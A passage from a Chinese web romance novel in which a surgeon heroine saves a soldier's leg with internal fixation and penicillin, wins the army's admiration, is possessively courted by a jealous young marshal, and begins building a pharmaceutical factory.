王主任站在一旁,手里虽然还拿着止血钳帮忙,但嘴里却一直在碎碎念,“这种烂肉怎么缝?就算缝上了,里面的骨头也是碎的,怎么长?到时候也是一团烂肉!”
赵处长和其他几个老军医也围在四周,虽然不敢明着阻拦,但一个个脸上都写满了“看好戏”和“惋惜”。
他们惋惜的不是二牛的腿,而是沈晚清这个年轻人的前程。
“准备清创。”
沈晚清的声音透过厚厚的口罩传出来,闷闷的,却透着一股绝对的冷静。她没有理会周围的质疑,眼中只有那条伤腿。
第一步,清创。
这是最枯燥,也是最关键的一步。
沈晚清拿着手术刀和镊子,像是一个最有耐心的雕刻家,一点一点地剔除那些已经失去活力的坏死组织,清理深嵌在肌肉里的碎骨片和异物。
“生理盐水冲洗。”
“双氧水冲洗。”
“再来一遍。”
整整一个小时,她都在做这一件事。直到原本黑紫色的伤口露出了鲜红的、还在渗血的新鲜肌肉组织。
“这……这也太细了吧?”
王主任看得有些傻眼。他们以前做手术,那是怎么快怎么来,大刀阔斧地切,哪有像这样像绣花一样清理伤口的?
“只有彻底清创,才能最大限度减少细菌负荷。”沈晚清头也不抬地解释了一句,随即伸出手,“钢板,螺丝。”
“什么?”器械护士愣了一下。
沈晚清从自己带来的药箱里,取出了那套她在海城找最好的铁匠铺、用德国进口钢材打磨出来的简易骨科内固定器械。
几块带孔的钢板,几枚长短不一的螺丝。
在那个年代,骨科手术还停留在“柳枝接骨”和简单的外固定阶段,这种“切开复位内固定术”,对于在场的军医们来说,简直就是闻所未闻。
“你要把铁片……钉进他的肉里?!”赵处长惊呼出声,“这不是要他的命吗?铁器入肉,必生锈毒啊!”
“这是医用不锈钢,不会生锈。”
沈晚清没有多解释。她拿起骨钻,在那根断裂的胫骨上钻孔。
“吱——”
骨钻摩擦骨头的声音让人牙酸。
在场的所有人都屏住了呼吸。
陆淮锦坐在门口的一把椅子上,手里把玩着马鞭,但目光却始终死死锁在沈晚清身上。
他不懂医术,但他懂人。
他看着沈晚清额头上密密麻麻的汗珠,看着她那双虽然纤细却稳如磐石的手,看着她将那块钢板贴合在碎裂的骨头上,然后一颗一颗地拧入螺丝。
原本扭曲变形的小腿,在她的手下,竟然奇迹般地恢复了笔直的形状。
“接……接上了?”
王主任瞪大了眼睛,不由自主地往前凑了凑,“这怎么可能?这么碎的骨头……”
“还没完。”
沈晚清的声音已经有些沙哑。
骨头接好了,接下来是更难的——血管和神经的吻合。
二牛的腿之所以面临截肢,是因为主要的血管断裂,供血不足。
沈晚清换上了一副更精细的显微镊子。她要在肉眼几乎难以分辨的情况下,将那些断裂的血管一根根缝合起来。
这一步,最耗心神。
汗水顺着她的脸颊滑落,流进眼睛里,涩得生疼。
旁边的护士想帮她擦,却被陆淮锦拦住了。
“我来。”
陆淮锦站起身,走到手术台旁。他拿出一块洁白的手帕,动作轻柔地替她擦去了额头和眼角的汗水,生怕惊扰了她分毫。
沈晚清的手没有停,甚至连眼皮都没抬一下。
此时此刻,在她的世界里,只有血管,只有针线。
一针,两针,三针……
时间一分一秒地过去。
手术室外的天色渐渐暗了下来,又慢慢亮起。
整整十个小时。
这在当时的军医处,简直是不可想象的时长。通常一台截肢手术,半小时就搞定了。
周围的老军医们从最初的质疑,到中间的震惊,再到现在的麻木和……敬畏。
他们就算再顽固,也是行医之人。他们看得出,这个女人是在拼命。
她在用自己的精力和心血,去换那个小战士的一条腿。
“松止血带。”
终于,沈晚清放下了持针器,发出了一声微弱的指令。
护士颤抖着手,松开了绑在二牛大腿根部的止
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血带。
所有人的目光都集中在那只脚上。
一秒,两秒。
原本苍白、冰冷的脚趾,慢慢地,透出了一丝红润的色泽。
那是血液重新流通的标志!
“红了!红了!”
王主任激动得叫出了声,完全忘了自己几个小时前还在主张截肢,“通了!血通了!这腿保住了!”
整个手术室瞬间沸腾了。
赵处长颤颤巍巍地走上前,摸了摸二牛的足背动脉,老泪纵横:“神乎其技……神乎其技啊!老朽活了一辈子,从未见过如此接骨之术!”
这是真正的奇迹。
在简陋的营房里,在缺乏设备的情况下,沈晚清完成了一台足以载入教科书的高难度保肢手术。
“还没有结束。”
沈晚清并没有欢呼。她强撑着早已僵硬的身体,拿起了最后一样东西——那瓶金黄色的青霉素。
“这是关键。”
她将药液吸入针筒,分点注射在伤口周围,并留了一部分静脉滴注。
做完这一切,她才缓缓摘下口罩。
那张原本清丽的脸,此刻苍白得没有一丝血色,嘴唇干裂,眼底是深深的青黑。
“观察体温……注意引流……”
她转头看向赵处长,想要交代术后护理。
然而,话还没说完,一阵天旋地转的眩晕感袭来。
高强度的精神集中和体能消耗,早已透支了她的极限。
“沈顾问!”
“晚晚!”
在众人的惊呼声中,沈晚清眼前一黑,整个人软绵绵地向后倒去。
预想中冰冷的地面并没有到来。
一个温暖而坚实的怀抱接住了她。
陆淮锦紧紧抱着她,看着她昏迷中依然紧皱的眉头,心像是被针扎了一样疼。
“都给我闭嘴!”
他对着嘈杂的人群低吼一声,抱起沈晚清,大步向外走去。
走到门口时,他停下脚步,回头看了一眼那些呆若木鸡的老军医:
“看护好那个兵。如果他**,或者是这条腿废了……”
“你们这群人,就给沈顾问的辛苦陪葬吧。”
说完,他头也不回地离开了手术室。
留下满屋子的军医,看着手术台上那个保住了一条腿的小战士,面面相觑,心中却掀起了惊涛骇浪。
这一夜,注定是陆家军军医处的不眠之夜。
那个关于“神医少夫人”的传说,将从这里开始,传遍整个北地。
第43章 青霉素显神威
沈晚清是在一阵低沉而有节奏的军号声中醒来的。
她动了动手指,只觉得浑身像是被卡车碾过一样酸痛,尤其是那双拿着手术刀十个小时的手,几乎有些不听使唤。
“醒了?”
一个低沉悦耳的声音在耳边响起。
沈晚清睁开眼,入目是军帐顶部的墨绿色帆布。她侧过头,发现自己正躺在一张宽大的行军床上,身上盖着厚厚的狐裘。
陆淮锦就坐在床边,手里拿着一份军报,见她醒来,随手将文件扔在一旁,伸手探了探她的额头。
“烧退了。”
他的声音里透着一丝不易察觉的放松,但眉头依然紧锁,“你这一觉睡了两天两夜。要是再不醒,我就要把那个赵老头拉出去毙了。”
“两天两夜?”
沈晚清猛地坐起来,却因为起得太猛眼前一黑。
“二牛呢?那个做了接骨手术的兵,怎么样了?”她顾不上头晕,一把抓住陆淮锦的袖子,焦急地问道。
那个手术虽然成功了,但术后的感染期才是真正的鬼门关。在这个年代,哪怕是手术完美,也有无数人死于术后并发症。
陆淮锦的脸色沉了下来。
“情况不太好。”
他扶住沈晚清的肩膀,沉声道,“昨天夜里开始高烧,刚才赵处长派人来报,说是……那是败血症的前兆,如果不马上截肢,人就没了。”
“什么?!”
沈晚清一把掀开被子,甚至顾不上穿鞋,赤着脚就往地上跳,“胡闹!那是术后吸收热和正常的免疫反应!青霉素的药效还在持续,这时候截肢就是前功尽弃!”
“穿鞋!”
陆淮锦一把将她捞回来,按在床上,单膝跪地,亲自握住她冰凉的脚,替她套上那双羊皮小靴,“急什么?有我在,没人敢动那个兵。”
“可是……”
“没有可是。”陆淮锦替她披上大衣,将她裹得严严实实,然后一把将她抱起,大步向帐外走去,“我带你去。但你得答应我,不许再逞强晕倒。”
……
临时改造的重症监护室。
此时,病房里的气氛压抑到了极点。
二牛躺在病床上,面色潮红,呼吸急促,浑身都在剧烈地抽搐。他的嘴里胡言乱语,显然已经烧糊涂了。
赵处长和王主任围在床边,急得团团转。
“不行了!这都烧了一天一夜了!”王主任看着体温计上的刻度,急得直拍大腿,“我就说不能留!那可是粉碎性骨折啊!里面的烂肉肯定发炎了!现在毒气攻心,再不锯腿,这娃的命就真保不住了!”
“可是……沈顾问说了,要观察三天……”旁边一个小护士怯生生地说道。
“三天?三天后只能给他收尸了!”赵处长也是一脸痛心疾首,“沈顾问毕竟年轻,太理想化了。咱们当医生的,得懂得取舍!准备手术,截肢!”
几个卫兵上前,就要把二牛抬上推车。
“我看谁敢动他!”
一声娇喝从门口传来。
众人回头,只见陆淮锦抱着沈晚清大步走了进来。
沈晚清挣扎着从他怀里下来,虽然脚步还有些虚浮,但那双眼睛里却燃烧着怒火。
“沈顾问!你可算来了!”
赵处长像是看到了救星,又像是找到了发泄口,迎上去说道,“你看看!这都烧成什么样了?事实证明,那个什么‘内固定’根本行不通!铁片在肉里,哪有不发炎的?赶紧截肢吧,或许还能保住一条命!”
“让开。”
沈晚清推开挡路的赵处长,径直走到病床前。
她伸手摸了摸二牛的额头,确实烫得吓人。但她并没有慌张,而是掀开了盖在伤腿上的被子。
所有的目光都集中在那条腿上。
按照常理,高烧至此,伤口肯定已经红肿溃烂,甚至流出恶臭的脓水。
然而——
并没有。
纱布虽然有些渗血,但那是正常的术后渗出。伤口周围的皮肤虽然有些红,但并没有那种代表坏死性感染的紫黑色,也没有闻到那种令人闻之色变的气性坏疽的腐臭味。
“拿剪刀来。”沈晚清冷静地命令道。
小护士赶紧递上剪刀。
沈晚清小心翼翼地剪开了层层包裹的纱布,露出了那道长长的、像蜈蚣一样的缝合伤口。
“嘶——”
周围响起了一片吸气声。
不是因为恐怖,而是因为……太干净了。
伤口边缘整齐,没有红肿,没有化脓,甚至在缝合线的间隙里,已经隐隐能看到一丝粉红色的肉芽组织在生长。
这是愈合良好的征兆!
“这……这怎么可能?!”
王主任瞪大了眼睛,恨不得把眼珠子贴上去看,“烧成这样,伤口居然没化脓?里面的骨头呢?没烂吗?”
“骨头在里面长得好好的。”
沈晚清从药箱里拿出听诊器,听了听二牛的心肺,又检查了一下他的瞳孔。
“这是典型的术后吸收热,加上身体在对抗残留细菌时的免疫反应。”
沈晚清直起腰,看向那一群目瞪口呆的老军医,声音虽然不大,却掷地有声:
“之所以高烧不退,是因为他体内的免疫系统正在和我的药一起,进行最后的‘大扫除’。就像两军对垒,战况最激烈的时候,动静自然最大。”
“但这仗,我们已经赢了。”
她拿起桌上那瓶还没用完的金黄色药液,举到众人面前:
“这就是这种药的神奇之处。它能在不伤害人体细胞的情况下,精准地杀死细菌。只要伤口不化脓,这烧,最多再过两个小时就会退。”
“两小时?”赵处长将信将疑,“沈顾问,军中无戏言。要是两小时后还不退……”
“我把脑袋输给你。”
陆淮锦突然开口。
他站在沈晚清身后,像是一座不可撼动的山。他环视四周,目光冷冽:
“我信她。就像信我手里的枪。”
全场死寂。
既然少帅都发话了,谁还敢说个“不”字?
接下来的两个小时,对于军医处的每个人来说,都是一种煎熬。
赵处长不停地看怀表,王主任则死死盯着体温计。
只有沈晚清,搬了把椅子坐在床边,时不时给二牛喂一点温水,神色平静得像是在看风景。
时间一分一秒地流逝。
终于,当时针指向下午三点的时候。
原本躁动不安、胡言乱语的二牛,突然安静了下来。
他那张涨红的脸,慢慢恢复了正常的颜色。呼吸也从急促变得平稳深长。
“出汗了!出汗了!”
一直守在旁边的小护士惊喜地叫道。
只见二牛的额头上、脖颈上,沁出了一层细密的汗珠。
这是退烧最明显的标志!
王主任一把抢过体温计,塞进二牛的腋下。五分钟后,他拿出体温计,对着光看了半天
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,手开始剧烈地颤抖。
“三十七度五……”
王主任的声音都在发飘,“退……退了?真的退了?!”
“神迹……这是神迹啊!”
赵处长看着那条保住的腿,又看了看那瓶金黄色的药水,老泪纵横。他行医四十年,从未见过如此霸道的疗效。以前遇到这种伤,不是死就是残,可今天,在这个年轻女子的手下,竟然真的逆天改命了!
“沈顾问!”
赵处长突然转过身,对着沈晚清深深地鞠了一躬,态度诚恳到了极点,“老朽……服了!心服口服!之前多有得罪,您大人不记小人过!从今往后,军医处唯您马首是瞻!”
“对!唯沈顾问马首是瞻!”
其他的军医们也纷纷低下了高傲的头颅。在绝对的技术和事实面前,所有的资历和偏见都成了笑话。
沈晚清站起身,并没有露出得意的神色。
“赵处长言重了。”
她扶起赵处长,语气谦逊,“大家都是为了救人。这药虽然好,但也不是万能的。以后还要仰仗各位前辈的经验,咱们一起,把这军医处撑起来。”
这一番话,既给了老家伙们面子,又确立了自己的领导地位。
赵处长感动得眼圈都红了,直呼“惭愧”。
病床上,二牛缓缓睁开了眼睛。
他看到了围在床边的人,看到了自己的腿还在,更看到了那个站在少帅身边、如同观音菩萨一般的女大夫。
“俺的腿……还在?”二牛不敢置信地摸了摸。
“还在。”沈晚清微笑着看着他,“好好养着,过两个月就能下地。以后还能跟着你们少帅打鬼子。”
“呜呜呜……谢谢活菩萨!谢谢活菩萨啊!”
二牛嚎啕大哭,想要下床磕头,却被按住了。
这个消息,像风一样传遍了整个军营。
原本那些还在私底下议论“女人进军营晦气”的士兵们,彻底炸锅了。
“听说了吗?那个二牛的烂腿真的保住了!”“神医啊!真的是神医!”“那个什么‘黄金水’简直是神药!咱们以后受伤也不怕了!”
一种前所未有的狂热崇拜,在陆家军中蔓延开来。
沈晚清不再是那个靠着少帅上位的“花瓶”,而是所有士兵眼中的“救命稻草”,是行走在军营里的“活菩萨”。
陆淮锦看着被众星捧月的沈晚清。
他应该高兴的。他的眼光没错,她确实是块无价之宝。
但他此刻的心里,却莫名地泛起了一股酸味。
尤其是看到那个二牛抓着沈晚清的袖子哭得一把鼻涕一把泪,还喊着“要给恩人当牛做马”的时候。
“行了。”
陆淮锦大步走上前,一把将沈晚清拉到身后,隔绝了二牛那感激涕零的目光。
“既然退烧了,就好好躺着。哭哭啼啼像什么样子!”
他冷着脸训斥了一句,然后转头看向沈晚清,语气有些生硬:
“你身体还没恢复,回营帐休息。”
沈晚清看着他那副别扭的样子,忍不住想笑。
这哪里是少帅,分明是个护食的小狼狗。
“好,听少帅的。”
她顺从地跟着他走出了病房。
夕阳西下,将两人的影子拉得很长。
军营里的欢呼声还在继续,但对于陆淮锦来说,那些都不重要。
重要的是,这个光芒万丈的女人,是他的。
只能是他的。
第44章 军中女神
清晨的阳光刚刚驱散了北地的寒雾,嘹亮的军号声唤醒了整座营盘。
沈晚清像往常一样,简单的洗漱后,便往自己的办公室走去。
经过几天的休养,她的体力已经完全恢复。二牛的腿保住了,青霉素的疗效也得到了验证,接下来就是要在军中推广卫生防疫制度,还有……筹备制药厂的事宜。
然而,当她走到办公室门口时,脚步却不得不停了下来。
因为门被堵住了。
原本空旷的走廊里,此刻堆满了一座座由各种杂物堆成的小山,几乎要把她的办公室大门给淹没。
“这是……怎么回事?”沈晚清愣住了。
跟在后面的小护士捂着嘴偷笑:“沈顾问,您还不知道吗?这些都是前线退下来的伤兵,还有各营的兄弟们送来的。”
“送给我的?”沈晚清看着那一地乱七八糟的东西。
有一捆捆还带着露水的野花,虽然只是路边随处可见的雏菊和马兰花,却被细心地用红绳扎好,插在擦得锃亮的炮弹壳里。
有一堆堆花花绿绿的铁皮罐头——午餐肉、红烧牛肉、甚至还有稀罕的水果罐头。在这个物资紧缺的年代,这可是士兵们平时舍不得吃的宝贝,只有过年或者立功才能分到一两盒。
还有用弹壳磨成的风铃、用木头雕刻的有些歪歪扭扭的小像,依稀能看出是个穿着白大褂的长发女子、甚至还有几双纳得密密实实的千层底布鞋……
“自从二牛哥的腿保住后,大家伙都传疯了。”小护士眼睛亮晶晶的,“说您是观音菩萨转世,是天上下凡来救苦救难的仙女。大家都叫您‘军中女神’呢!”
“女神?”
沈晚清有些哭笑不得。
她走上前,拿起那个插着野花的炮弹壳。那上面还贴着一张皱巴巴的纸条,字迹歪七扭八,显然写字的人文化不高,但一笔一划都透着虔诚:
“沈大夫,俺没啥好东西。这花好看,像您。谢谢您没锯了二牛的腿。俺替二牛给您磕头了。——警卫连,铁柱。”
沈晚清看着那行字,心里涌起一股暖流。
这些大头兵,大多是大字不识几个的穷苦出身。他们的感情最质朴,也最热烈。谁对他们好,他们就把心掏给谁。
“把东西都收起来吧。”
沈晚清轻声吩咐道,“罐头送去伤兵营,给重伤员加餐。花……找个瓶子养起来。”
“是!”小护士欢快地应道。
就在这时,走廊尽头突然传来一阵骚动。
只见几个胆大的士兵正猫着腰,试图往这堆“礼物山”上再添点东西。其中一个高个子士兵手里抓着一只刚打来的野鸡,正准备挂在门把手上。
“干什么呢?鬼鬼祟祟的!”
一道低沉而威严的声音,如同平地惊雷,在走廊里炸响。
几个士兵吓得一哆嗦,手里的野鸡“啪嗒”掉在地上。
他们僵硬地转过身,只见陆淮锦一身戎装,披着黑色大氅,正站在逆光处,那张俊美无俦的脸此刻黑得像锅底,眼神比外面的北风还要冷。
“少……少帅!”
士兵们立刻立正敬礼,双腿都在打摆子。
“那是给谁的?”陆淮锦指了指地上的野鸡,又扫了一眼满走廊的礼物,眉头皱得能夹死一只苍蝇。
“报……报告少帅!是……是给沈顾问补身子的!”高个子士兵结结巴巴地说道,“沈顾问为了救二牛累倒了,兄弟们心里过意不去……”
“补身子?”
陆淮锦冷笑一声,迈着长腿走了过来。军靴踩在地板上,发出令人心悸的声响。
他随手拿起桌上的一盒午餐肉罐头,在手里掂了掂,然后目光如刀地看向那个士兵:
“军需处发的罐头,是让你拿来讨好女人的?”
“不……不是讨好!”士兵急了,脸涨得通红,“沈顾问是咱们的恩人!是女神!咱们……咱们就是想表达一下心意!”
“女神?”
陆淮锦听到这个词,脸色更黑了。
他转过头,看向站在门口一脸无辜的沈晚清。
好啊。
这才几天?
整个军营都被她收买了?
以前这些兵看见他像老鼠见了猫,现在倒好,一个个为了给沈晚清送礼,连军纪都不顾了。尤其是刚才他走过来的时候,竟然还听到有人在讨论沈晚清“有没有许人家”。
当他是死的吗?!
“全体都有!”陆淮锦突然一声暴喝。
“到!”走廊里的士兵,包括闻讯赶来看热闹的几十号人,瞬间站得笔直。
“负重二十公斤,绕校场跑五十圈!跑不完不许吃饭!”
“啊?!”士兵们哀嚎遍野。
“再加十圈!”陆淮锦眼神一横,“谁还有意见?”
“没有!这就跑!”
一帮大头兵吓得屁
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滚尿流,撒丫子就跑,生怕跑慢了被少帅扒了皮。
走廊瞬间清静了。
只剩下满地的礼物,和一脸无奈的沈晚清。
“陆少帅,你这是干什么?”
沈晚清看着那些狼狈逃窜的背影,有些好笑,“他们也是一片好意。你这罚得也太没道理了。”
“没道理?”
陆淮锦转过身,几步走到她面前。
他看着她手里捧着的那个炮弹壳花瓶,那是刚才那个叫铁柱的士兵送的。那几朵不知名的野花,在她怀里开得格外灿烂,刺眼得很。
“扔了。”
陆淮锦盯着那束花,语气生硬。
“为什么?”沈晚清抱紧了花瓶,故意逗他,“挺好看的啊。而且这是大家的心意,我要是扔了,多伤人心啊。”
“沈晚清。”
陆淮锦逼近一步,将她逼退进办公室内,反手关上了门。
他将她困在门板和自己的胸膛之间,那股浓烈的、带着酸味的男性气息瞬间将她包围。
“你是我的夫人。”
他低下头,鼻尖几乎碰到她的鼻尖,咬牙切齿地说道,“你的心意,只需要对我一个人领就够了。至于那些浑小子……”
他冷哼一声,伸手从她怀里夺过那个花瓶,随手放在一旁的架子上,然后一把扣住她的腰,将她狠狠按向自己。
“他们要是再敢往这儿送东西,我就把他们的手剁了。”
沈晚清看着他那副打翻了醋坛子的模样,忍不住笑出了声。
她伸出手,轻轻戳了戳他紧绷的脸颊:
“陆少帅,你知不知道你现在的样子,特别像一个……”
“像什么?”陆淮锦眯起眼,危险地盯着她。
“像一只护食的大狼狗。”
陆淮锦气笑了。
狼狗?
行。
“既然我是狼狗……”
他突然弯腰,一手穿过她的腿弯,一手揽住她的背,直接将她整个人扛在了肩上!
“啊!陆淮锦你干什么?!”
沈晚清惊呼一声,只觉得天旋地转,整个人已经悬空。
“干什么?”
陆淮锦大步流星地向内室走去,甚至还得空在她挺翘的臀上轻拍了一记。
“当然是行使‘狼狗’的权利。”
“沈顾问这几天招蜂引蝶,勾得全军上下魂不守舍。作为你的长官,也是你的男人,我必须得好好‘惩罚’你一下。”
第45章 少帅的惩罚
“砰!”
厚重的木门被陆淮锦一脚踹上,紧接着是落锁的声音。
狭小的休息间里,空气瞬间凝固。
陆淮锦扛着沈晚清,几步走到那张简陋的行军床前,并没有把她扔上去,而是转身将她放在了那张宽大的办公桌上。
“陆淮锦,你疯了?”
沈晚清惊魂未定,双手抵在他的胸口,试图推开这个浑身散发着危险气息的男人。
此时的他,哪里还有半分平日里运筹帷幄的少帅模样?那双狭长的眸子里翻涌着暗火,领口的扣子崩开了一颗,露出上下起伏的胸膛,整个人就像是一头被侵犯了领地、亟待发泄怒火的雄狮。
“我是疯了。”
陆淮锦欺身而上,双手撑在她身侧,将她牢牢圈禁在自己与桌沿之间,声音低哑得可怕,“被你那个‘女神’的名头逼疯了。”
他低下头,鼻尖几乎蹭到她的脸颊,温热的呼吸喷洒在她的肌肤上,带着一股浓烈的、极具侵略性的男性气息。
“沈顾问,你本事不小啊。”
他咬牙切齿地说道,“才来了几天?就把我那帮只知道**的兵哄得团团转。送花?送罐头?还要把命都给你?”
“是不是再过几天,这陆家军就不姓陆,改姓沈了?”
沈晚清看着他那副醋坛子打翻的模样,既好气又好笑。
“陆少帅,你讲点道理好不好?”她伸手戳了戳他坚硬的胸肌,“那是战士们淳朴,是为了感谢我救了二牛。这也能吃醋?你这心眼比针尖还小。”
“对,我就是心眼小。”
陆淮锦一把抓住她作乱的手,按在桌面上,十指紧扣,“我的心眼只容得下你一个人,所以也见不得别人对你献殷勤。哪怕是一个眼神,我都想把他们的招子挖出来。”
他眼中的占有欲浓烈得让人心惊。
“特别是那个叫铁柱的。”
陆淮锦眯起眼,语气森然,“竟然还敢给你写情书?什么叫‘这花像你’?他懂什么是美吗?那花我看过了,丑**,配不上你。”
沈晚清忍不住“扑哧”一声笑了出来。
这一笑,如同春花绽放,瞬间晃了陆淮锦的眼,也点燃了他心中最后那把火。
“还敢笑?”
陆淮锦喉结滚动,眼神瞬间变得幽深,“看来沈顾问还没意识到事情的严重性。既然你不知道错,那本帅就身体力行,让你长长记性。”
“你……唔!”
沈晚清刚要开口,嘴唇就被两片滚烫的唇瓣狠狠堵住。
这不是一个温柔的吻。
它带着惩罚的意味,带着宣泄的怒火,更带着压抑已久的渴望。他像是在攻城略地,霸道地撬开她的牙关,汲取着她口中的津液与甜蜜。
沈晚清被迫仰起头,承受着这疾风骤雨般的侵袭。她的手被他按在桌上动弹不得,腰肢被他铁钳般的手臂死死箍住,整个人仿佛要被他揉碎了嵌进身体里。
“唔……陆……疼……”
她含糊不清地**着,舌尖被他吮吸得有些发麻。
听到那个“疼”字,陆淮锦的动作微微一顿。
理智稍稍回笼。
他松开她的唇,却并没有离开,而是顺着她的下巴一路向下,吻过她修长的天鹅颈,在那个仍旧贴着纱布的伤口旁流连。
“疼就记住。”
他在她耳边喘息,声音沙哑得不像话,牙齿轻轻啮咬着她颈侧敏感的肌肤,引起一阵阵战栗,“记住你是谁的人。记住除了我,谁也不许对你这么做。”
沈晚清浑身发软,只能无力地靠在他怀里,大口大口地呼吸着新鲜空气。
这种在办公室里的禁忌感,加上他那种近乎疯狂的迷恋,让她那颗一向冷静的心脏也开始剧烈跳动。
“陆淮锦……契约……”
她试图用仅存的理智提醒他,“第三条……”
“去**契约。”
陆淮锦低咒一声,一把将她抱起,让她与自己平视。
“那是为了防君子的。”
他看着她被吻得红肿的唇,眼神暗得惊人,“我现在不想当君子,我想当土匪。”
说着,他的手顺着旗袍的开叉探了进去,带着粗茧的指腹摩挲着她大腿内侧细腻的肌肤,所过之处,点起一簇簇火苗。
“少帅!”
沈晚清惊呼一声,下意识地想要夹紧双腿,却被他强硬地分开。
“别怕。”
陆淮锦的动作虽然放肆,却并没有更进一步的逾越。他的手停留在她的膝盖上方,轻轻揉捏着,“我只是想让你知道,你全身上下,每一寸,都是我的。”
他低下头,额头抵着她的额头,两人的呼吸交融。
“晚晚。”
他的声音突然软了下来,带着一丝不易察觉的脆弱和祈求,“别对我那么残忍。看着那些人围着你转,我这心里……像是被猫抓一样。”
“我怕有一天,你会觉得我这个只会**的军阀无趣,然后……”
“然后什么?”沈晚清看着他。
“然后不要我了。”
那个不可一世的北方狼主,此刻竟然像个患得患失的孩子。
沈晚清的心,彻底软了。
她伸出手,捧起他的脸。
“傻子。”
她轻叹一声,主动凑上去,在他唇角亲了一下,“我若是不要你,当初在海城就不会跟你上车。我若是嫌你无趣,就不会跟你签那份契约。”
“陆淮锦,你是我的合伙人,是我认准的丈夫,也是我……在这乱世里唯一的依靠。”
沈晚清看着他的眼睛,认真地说道,“那些花,那些罐头,是战士们对医生的敬意。而你……”
她拉起他的手,按在自己的心口:
“你在这里。”
这一句话,比任何情话都管用。
陆淮锦眼底的戾气瞬间消散,取而代之的是一种足以溺**的深情。
“晚晚……”
他再次吻住了她。
这一次,不再是**的惩罚,而是细水长流的温柔。
他细细地描绘着她的唇形,温柔地安抚着她刚才的惊慌,像是在对待一件稀世珍宝。
阳光透过窗帘的缝隙洒进来,照在两人纠缠的身影上。
办公桌上的文件散落一地,但这都不重要了。
良久。
陆淮锦才依依不舍地放开她。他替她
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整理好凌乱的衣襟和旗袍,又细心地帮她把散落的发丝别到耳后。
“气消了?”沈晚清挑眉看着他,脸上带着未褪的红晕。
“消了一半。”
陆淮锦哼了一声,还是有些不甘心,“以后不许收别人的东西。想要什么,跟我说。哪怕是天上的星星,我也给你摘下来。”
“好,霸道的少帅。”
沈晚清从桌上跳下来,理了理裙摆,“那现在,惩罚结束了,是不是该谈谈正事了?”
“正事?”陆淮锦意犹未尽地看着她,“这就谈正事?不再……续个钟?”
“再续下去,外面那帮老军医就要以为我们在里面**了。”
沈晚清白了他一眼,走到旁边的脸盆架前洗了把脸,让自己发烫的脸颊降温。
“说正事。”
她转过身,神色恢复了清冷干练,仿佛刚才那个意乱情迷的女人不是她,“青霉素的疗效已经验证了。接下来,就是量产。”
“光靠实验室那种小瓶摇晃发酵,产量太低,根本供不上前线的需求。”
沈晚清走到墙上挂着的北城地图前,手指在一个位置上重重一点:
“我要建厂。”
“建一个真正现代化的制药厂。”
陆淮锦看着她瞬间进入工作状态的样子,无奈地摇了摇头,眼底却是满满的宠溺。
这女人,变脸比翻书还快。
不过,这也是他最欣赏她的地方。
“好。”
陆淮锦走到她身后,看着她手指的那个位置——那是北城西郊的一块废弃工业区,靠近水源,交通便利,是个绝佳的选址。
“这块地,以前是前清的**局,后来荒废了。地皮是我的,你要,拿去便是。”
他从后面环住她的腰,下巴搁在她的肩窝里,看着地图,“除了地,还需要什么?”
“钱,大量的钱。”沈晚清毫不客气,“还有设备,那种大型的发酵罐,国内造不了,得让亨利从德国或者美国订购。”
“钱不是问题。”
陆淮锦大手一挥,“抄了沈家之后,那笔烟土钱还没动,再加上我私库里的,够你挥霍一阵子了。至于设备,我会让亨利去办,走军用物资的通道,没人敢拦。”
“不过……”
他在她耳边吹了口气,“沈老板,这么大的投资,你打算给我多少分红?”
沈晚清侧头看他,嘴角勾起一抹狡黠的笑:
“契约上写了,三七分。你三,我七。”
“这么黑?”陆淮锦挑眉,“我出人出地出钱,才拿三成?”
“因为核心技术在我手里。”沈晚清指了指自己的脑袋,“没有我,你那些钱就是废纸,地就是荒地。”
“行,你说了算。”
陆淮锦在她脸上亲了一口,“谁让你是管家婆呢。我的就是你的,别说七成,全都给你也无妨。”
两人相视一笑。
在这个充满阳光的午后,在一间充满暧昧气息的休息室里,一个未来将垄断整个远东抗生素命脉、拯救无数生命的庞大医药帝国——“华夏制药厂”的雏形,就在这俩人的打情骂俏中,正式敲定了。
第46章 建立制药厂
凛冽的北风卷着枯草,在空旷的荒原上打着旋儿。眼前是一片断壁残垣,几座巨大的红砖厂房因为年久失修,屋顶塌了一半,黑洞洞的窗户像是一只只瞎了的眼睛,注视着这片荒凉的土地。
这里曾是前清的**局,后来毁于战火,荒废了十几年,成了野狗和乞丐的**地。
“沈,你确定是在这里?”
亨利医生穿着一件并不合身的厚棉袄,踩着满地的碎砖烂瓦,脸上的表情比吃了苍蝇还难受,“这里简直就是个垃圾场!到处都是灰尘、老鼠和霉菌!要在这种地方生产最精密的抗生素?上帝啊,这简直是对科学的亵渎!”
沈晚清并没有理会他的抱怨。
她站在一座高耸的废弃烟囱下,手里拿着一张手绘的设计图,目光如炬地扫视着这片废墟。
在她眼里,这里不是垃圾场,而是一座即将崛起的金矿。
“亨利,别只看表面。”
沈晚清指了指厂房旁边流过的一条河流,“这里靠近水源,水质清澈,那是发酵工艺最需要的。而且,这几座厂房虽然破,但地基打得极深,墙体也是用糯米灰浆浇筑的,非常坚固。只要修缮一下屋顶,再做一遍彻底的消杀,就是现成的发酵车间。”
她转过身,看着身后那一群正在待命的工匠和士兵,声音清亮:
“带人去把那边的杂草清了。赵处长派来的工兵连,负责修补屋顶和加固围墙。告诉大家,工钱日结,谁要是敢偷懒,就给我滚蛋。”
“是!沈顾问!”
随着她的一声令下,沉寂了十几年的废墟瞬间热闹起来。
铲子挖掘泥土的声音、锤子敲击砖石的声音、还有工人们的号子声,汇成了一曲激昂的建设交响曲。
陆淮锦站在不远处的一块高地上,披着军大衣,静静地看着那个在工地里穿梭指挥的身影。
她穿了一身利落的工装裤和马靴,头发简单地扎成马尾。脸上虽然沾了些灰尘,但那种指点江山、从无到有的气魄,却比任何时候都要迷人。
“少帅,夫人真是……女中豪杰。”
宋副官站在一旁,由衷地感叹,“这块破地皮,咱们之前想卖都卖不出去,没想到在夫人手里,好像真的要变废为宝了。”
“那是自然。”
陆淮锦嘴角微扬,语气里满是骄傲,“她想要做的事,就没有做不成的。”
……
七天后。
在金钱和强权的双重加持下,制药厂的改造工程以惊人的速度推进。
原本破败的厂房被粉刷一新,地面铺上了防尘的水泥,窗户换成了明亮的玻璃。巨大的锅炉被架设起来,蒸汽管道像血管一样爬满了墙壁。
但最让沈晚清头疼的,不是硬件,而是——人。
制药厂不同于普通的纺织厂,它需要大量的工人,而且必须是守纪律、懂卫生、能严格执行操作流程的工人。
“沈顾问,招不到人啊。”
